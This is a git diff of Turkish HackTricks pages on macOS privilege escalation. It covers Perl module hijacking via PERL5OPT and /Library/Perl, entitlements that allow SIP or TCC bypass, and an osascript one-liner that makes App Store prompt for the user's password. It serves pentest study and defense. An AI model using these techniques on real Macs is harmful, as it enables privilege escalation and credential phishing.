değişikliklerinin olasılığı bir faktör olabilir. -* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te devam etmekte olup, bunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır. +* **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesi ile uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir. +* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te hala devam etmekte olup, bu sorunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md index a2a46b089..cc84a6637 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md @@ -6,17 +6,17 @@ HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. -## `PERL5OPT` ve `PERL5LIB` çevresel değişkeni Aracılığıyla +## `PERL5OPT` ve `PERL5LIB` Çevresel Değişkeni Aracılığıyla -PERL5OPT çevresel değişkenini kullanarak, perl'in keyfi komutları çalıştırmasını sağlamak mümkündür.\ +Çevresel değişken PERL5OPT kullanılarak perl'in keyfi komutları çalıştırması mümkündür.\ Örneğin, bu betiği oluşturun: {% code title="test.pl" %} @@ -64,13 +64,13 @@ Hangi şu şekilde bir şey döndürecektir: /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30 ``` -Bazı dönen klasörler bile mevcut değil, ancak **`/Library/Perl/5.30`** **mevcut**, **SIP** tarafından **korunmuyor** ve **SIP** tarafından **korunan klasörlerden önce** bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak betik bağımlılıklarını ekleyebilir, böylece yüksek ayrıcalıklı bir Perl betiği onu yükler. +Bazı dönen klasörler bile mevcut değil, ancak **`/Library/Perl/5.30`** **mevcut**, **SIP** tarafından **korunmuyor** ve **SIP** tarafından **korunan klasörlerden önce** bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak oraya betik bağımlılıkları ekleyebilir ve yüksek ayrıcalıklı bir Perl betiği onu yükleyebilir. {% hint style="warning" %} -Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** ve günümüzde bu **TCC uyarısı** alacağınızı unutmayın: +Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** unutmayın ve günümüzde bu **TCC uyarısı** alacaksınız: {% endhint %} -
+
Örneğin, bir betik **`use File::Basename;`** içe aktarıyorsa, `/Library/Perl/5.30/File/Basename.pm` oluşturularak keyfi kod yürütülmesi mümkün olacaktır. @@ -80,14 +80,14 @@ Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** ve gü
-AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index aa50fba9c..9e2af6f4d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -1,92 +1,93 @@ -# macOS Tehlikeli Yetkiler ve TCC İzinleri +# macOS Tehlikeli Yetkiler ve TCC izinleri
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com) +* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına katkıda bulunun.
{% hint style="warning" %} -**`com.apple`** ile başlayan yetkilendirmelerin yalnızca Apple tarafından verilebildiğini unutmayın. +**`com.apple`** ile başlayan yetkiler üçüncü taraflar için mevcut değildir, yalnızca Apple bunları verebilir. {% endhint %} ## Yüksek ### `com.apple.rootless.install.heritable` -**`com.apple.rootless.install.heritable`** yetkisi, **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya](macos-sip.md#com.apple.rootless.install.heritable) bakın. +**`com.apple.rootless.install.heritable`** yetkisi **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya bakın](macos-sip.md#com.apple.rootless.install.heritable). ### **`com.apple.rootless.install`** -**`com.apple.rootless.install`** yetkisi, **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya](macos-sip.md#com.apple.rootless.install) bakın. +**`com.apple.rootless.install`** yetkisi **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya bakın](macos-sip.md#com.apple.rootless.install). -### **`com.apple.system-task-ports` (önceden `task_for_pid-allow` olarak adlandırılıyordu)** +### **`com.apple.system-task-ports`** (önceki adıyla `task_for_pid-allow`) -Bu yetki, çekirdek hariç olmak üzere **herhangi bir** işlem için **görev bağlantısını** almayı sağlar. Daha fazla bilgi için [**buraya**](../mac-os-architecture/macos-ipc-inter-process-communication/) bakın. +Bu yetki, çekirdek hariç olmak üzere **herhangi bir** işlem için **görev bağlantı noktasını almayı** sağlar. Daha fazla bilgi için [buraya bakın](../mac-os-architecture/macos-ipc-inter-process-communication/). ### `com.apple.security.get-task-allow` -Bu yetki, **`com.apple.security.cs.debugger`** yetkisine sahip diğer işlemlerin, bu yetkiye sahip olan ikili tarafından çalıştırılan işlemin görev bağlantısını almasına ve **üzerine kod enjekte etmesine** izin verir. Daha fazla bilgi için [**buraya**](../mac-os-architecture/macos-ipc-inter-process-communication/) bakın. +Bu yetki, diğer işlemlerin **`com.apple.security.cs.debugger`** yetkisi ile bu yetkiye sahip olan ikili tarafından çalıştırılan işlemin görev bağlantı noktasını almasına ve üzerine kod enjekte etmesine izin verir. Daha fazla bilgi için [buraya bakın](../mac-os-architecture/macos-ipc-inter-process-communication/). ### `com.apple.security.cs.debugger` -Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantısı almak için `task_for_pid()` çağrısı yapabilir. Bununla birlikte, hata ayıklama aracı yetkisi olsa bile, hata ayıklama aracı **`Get Task Allow` yetkisine** sahip olmayan işlemlerin görev bağlantılarını **alabilir**, bu nedenle Sistem Bütünlüğü Koruması tarafından korunan işlemler. Daha fazla bilgi için [**buraya**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger) bakın. +Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantı noktasını almak için `task_for_pid()` çağrısı yapabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklayıcı **`Get Task Allow` yetkisine sahip olmayan** ve dolayısıyla Sistem Bütünlüğü Koruması tarafından korunan işlemlerin görev bağlantı noktalarını alamaz. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger). ### `com.apple.security.cs.disable-library-validation` -Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmış olmaksızın **çerçeveleri, eklentileri veya kitaplıkları yüklemeye** izin verir, bu nedenle bir saldırgan bazı keyfi kitaplık yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [**buraya**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation) bakın. +Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmış olmayan çerçeveleri, eklentileri veya kütüphaneleri **yüklemeye izin verir**, bu nedenle bir saldırgan bazı keyfi kütüphane yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation). ### `com.apple.private.security.clear-library-validation` -Bu yetki, **`com.apple.security.cs.disable-library-validation`** ile çok benzerdir, ancak **kitaplık doğrulamasını doğrudan devre dışı bırakmak** yerine, işlemin bunu devre dışı bırakmak için bir `csops` sistem çağrısı yapmasına izin verir. Daha fazla bilgi için [**buraya**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/) bakın. +Bu yetki, **kütüphane doğrulamasını doğrudan devre dışı bırakmak yerine**, işlemi **devre dışı bırakmak için bir `csops` sistem çağrısı yapmasına** izin verir.\ +Daha fazla bilgi için [buraya bakın](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/). ### `com.apple.security.cs.allow-dyld-environment-variables` -Bu yetki, kitaplıklar ve kod enjekte etmek için kullanılabilecek **DYLD çevre değişkenlerini** kullanmaya izin verir. Daha fazla bilgi için [**buraya**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) bakın. +Bu yetki, kütüphane ve kod enjekte etmek için kullanılabilecek **DYLD çevresel değişkenlerini kullanmaya** izin verir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables). ### `com.apple.private.tcc.manager` veya `com.apple.rootless.storage`.`TCC` -[**Bu bloga**](https://objective-see.org/blog/blog\_0x4C.html) **ve** [**bu bloga**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/) göre, bu yetkiler **TCC** veritabanını **değiştirmeye** izin verir. +[**Bu bloga göre**](https://objective-see.org/blog/blog\_0x4C.html) **ve** [**bu bloga göre**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), bu yetkiler **TCC** veritabanını **değiştirmeye izin verir**. ### **`system.install.apple-software`** ve **`system.install.apple-software.standar-user`** -Bu yetkiler, kullanıcının iznini sormadan **yazılım yüklemeye** izin verir, bu da bir **ayrıcalık yükseltmesi** için faydalı olabilir. +Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir, bu da **bir ayrıcalık yükseltmesi** için faydalı olabilir. ### `com.apple.private.security.kext-management` -Çekirdeğin bir çekirdek uzantısını yüklemesini istemek için gereken yetki. +Çekirdeğe bir çekirdek uzantısını yüklemesi için gereken yetki. ### **`com.apple.private.icloud-account-access`** -**`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurmayı sağlar ve bu hizmet **iCloud belirteçleri sağlar**. +**`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmeti ile iletişim kurmayı mümkün kılar ve **iCloud belgelerini sağlar**. **iMovie** ve **Garageband** bu yetkiye sahipti. -Bu yetkiye sahip olan uygulamadan **icloud belirteçleri almak** için yapılan saldırı hakkında daha fazla **bilgi** için konuşmaya bakın: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0) +Bu yetkiden **icloud belgelerini almak** için yapılan saldırı hakkında daha fazla **bilgi** için şu konuşmayı inceleyin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0) ### `com.apple.private.tcc.manager.check-by-audit-token` -TODO: Bunu ne yapmaya izin verdiğini bilmiyorum +TODO: Bu ne yapmaya izin verir bilmiyorum ### `com.apple.private.apfs.revert-to-snapshot` -TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) bu, yeniden başlatmadan sonra SSV korumalı içeriği güncellemek için kullanılabileceği belirtiliyor. Nasıl olduğunu biliyorsanız lütfen bir PR gönderin! +TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bahsedildiğine göre** bu, yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabilir. Bunu nasıl yapacağınızı biliyorsanız lütfen bir PR gönderin! ### `com.apple.private.apfs.create-sealed-snapshot` -TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) bu, yeniden başlatmadan sonra SSV korumalı içeriği güncellemek için kullanılabileceği belirtiliyor. Nasıl olduğunu biliyorsanız lütfen bir PR gönderin! +TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bahsedildiğine göre** bu, yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabilir. Bunu nasıl yapacağınızı biliyorsanız lütfen bir PR gönderin! ### `keychain-access-groups` -Bu yetki, uygulamanın erişebileceği **anahtarlık** gruplarının listesidir: +Bu yetki, uygulamanın erişim sağladığı **anahtarlık** gruplarını listeler: ```xml keychain-access-groups @@ -99,11 +100,11 @@ Bu yetki, uygulamanın erişebileceği **anahtarlık** gruplarının listesidir: ``` ### **`kTCCServiceSystemPolicyAllFiles`** -Bu, sahip olabileceğiniz en yüksek TCC izinlerinden biri olan **Tam Disk Erişimi** izinlerini verir. +Tam Disk Erişimi izinlerini verir, sahip olabileceğiniz TCC'nin en yüksek izinlerinden biri. ### **`kTCCServiceAppleEvents`** -Uygulamanın, genellikle **görevleri otomatikleştirmek** için yaygın olarak kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir. +Uygulamanın, genellikle **görevleri otomatikleştirmek** için kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir. Kullanıcıdan şifresini istemelerini sağlamak gibi: @@ -113,48 +114,48 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti ``` {% endcode %} -Veya onları **keyfi eylemler** gerçekleştirmeye zorlamak. +Veya onları **keyfi eylemler gerçekleştirmeye** zorlamak. ### **`kTCCServiceEndpointSecurityClient`** -Kullanıcıların TCC veritabanını **yazmasına** izin verir. +Diğer izinler arasında, **kullanıcıların TCC veritabanına yazma** izni verir. ### **`kTCCServiceSystemPolicySysAdminFiles`** -Kullanıcının ev klasörü yolunu değiştiren bir kullanıcının **`NFSHomeDirectory`** özniteliğini **değiştirmesine** izin verir ve böylece TCC'yi **atlamasına** olanak tanır. +Bir kullanıcının ev klasörü yolunu değiştiren ve dolayısıyla **TCC'yi atlamasına izin veren** bir kullanıcı **`NFSHomeDirectory`** özniteliğini **değiştirmeye** izin verir. ### **`kTCCServiceSystemPolicyAppBundles`** -Varsayılan olarak **yasaklanmış olan** uygulama paketi içindeki dosyaları değiştirmeye izin verir. +Varsayılan olarak **yasaklanmış olan** uygulama paketleri içindeki dosyaları değiştirmeye izin verir (uygulama.app içinde). -
+
-Bu erişime kimin sahip olduğunu kontrol etmek mümkündür: _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_. +Bu erişime kimin sahip olduğunu kontrol etmek mümkündür: _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi._ ### `kTCCServiceAccessibility` -İşlem, macOS erişilebilirlik özelliklerini **kötüye kullanabilir**, bu da örneğin tuş vuruşları yapabilmesi anlamına gelir. Bu izinle Finder gibi bir uygulamayı kontrol etmek için erişim isteyebilir ve bu izinle iletişim kutusunu onaylayabilir. +İşlem, **macOS erişilebilirlik özelliklerini kötüye kullanabilir**, Bu da örneğin tuş vuruşları yapabilmesi demektir. Bu nedenle, Finder gibi bir uygulamayı kontrol etme erişimini isteyebilir ve bu izinle iletişim kutusunu onaylayabilir. ## Orta ### `com.apple.security.cs.allow-jit` -Bu yetki, `mmap()` sistem işlevine `MAP_JIT` bayrağını geçerek **yazılabilir ve yürütülebilir bellek oluşturmayı** sağlar. Daha fazla bilgi için [**burayı kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit). +Bu ayrıcalık, `mmap()` sistem işlevine `MAP_JIT` bayrağını geçirerek **yazılabilir ve yürütülebilir bellek oluşturmayı** sağlar. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit). ### `com.apple.security.cs.allow-unsigned-executable-memory` -Bu yetki, C kodunu **geçersiz kılmak veya yamalamak**, temel olarak güvensiz olan **`NSCreateObjectFileImageFromMemory`**'yi kullanmak (veya **DVDPlayback** çerçevesini kullanmak) için kullanılır. Daha fazla bilgi için [**burayı kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory). +Bu ayrıcalık, **C kodunu geçersiz kılmaya veya yamamaya**, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`**'ı kullanmaya (temelde güvensiz) veya **DVDPlayback** çerçevesini kullanmaya izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory). {% hint style="danger" %} -Bu yetkiyi eklemek, uygulamanızı bellek güvenli olmayan kod dillerinde yaygın olarak görülen güvenlik açıklarına karşı savunmasız hale getirir. Uygulamanızın bu istisnayı ihtiyaç duyup duymadığını dikkatlice düşünün. +Bu ayrıcalığı eklemek, uygulamanızı bellek güvensiz kod dillerinde yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice düşünün. {% endhint %} ### `com.apple.security.cs.disable-executable-page-protection` -Bu yetki, **kendi yürütülebilir dosyalarının** diskteki bölümlerini değiştirmeye izin verir. Daha fazla bilgi için [**burayı kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection). +Bu ayrıcalık, **kendi yürütülebilir dosyalarının diskteki bölümlerini değiştirmeye** izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection). {% hint style="danger" %} -Devre Dışı Bırakılabilir Sayfa Koruması Yetkisi, uygulamanızdan temel bir güvenlik korumasını kaldıran aşırı bir yetkidir ve bir saldırganın uygulamanızın yürütülebilir kodunu tespit edilmeden yeniden yazabilmesine olanak tanır. Mümkünse daha dar yetkileri tercih edin. +Devre Dışı Bırakılabilir Yürütülebilir Sayfa Koruma Ayrıcalığı, uygulamanızdan temel bir güvenlik korumasını kaldırarak, saldırganın uygulamanızın yürütülebilir kodunu algılanmadan yeniden yazmasını mümkün kılar. Mümkünse daha dar ayrıcalıkları tercih edin. {% endhint %} ### `com.apple.security.cs.allow-relative-library-loads` @@ -163,31 +164,29 @@ TODO ### `com.apple.private.nullfs_allow` -Bu yetki, varsayılan olarak yasaklanmış bir nullfs dosya sistemi bağlamayı sağlar. Araç: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master). +Bu ayrıcalık, varsayılan olarak yasaklanmış olan bir nullfs dosya sistemi bağlamasına izin verir. Araç: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master). ### `kTCCServiceAll` -Bu blog yazısına göre, bu TCC izni genellikle şu şekilde bulunur: +Bu blog yazısına göre, bu TCC izni genellikle şu formda bulunur: ``` [Key] com.apple.private.tcc.allow-prompting [Value] [Array] [String] kTCCServiceAll ``` -**Tüm TCC izinlerini talep etmek için** işleme izin verin. - ### **`kTCCServicePostEvent`**
-AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Tüm TCC izinlerini istemek için işleme izin verin -HackTricks'i desteklemenin diğer yolları: +Diğer HackTricks'i destekleme yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. +* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. +* Hacking püf noktalarınızı paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 1c8570322..06e1c22a0 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -2,37 +2,37 @@
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## **Temel Bilgiler** -**TCC (Transparency, Consent, and Control)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açık kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sağlar. +**TCC (Şeffaflık, Onay ve Kontrol)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açıkça kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sahibi olmalarını sağlar. -Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı 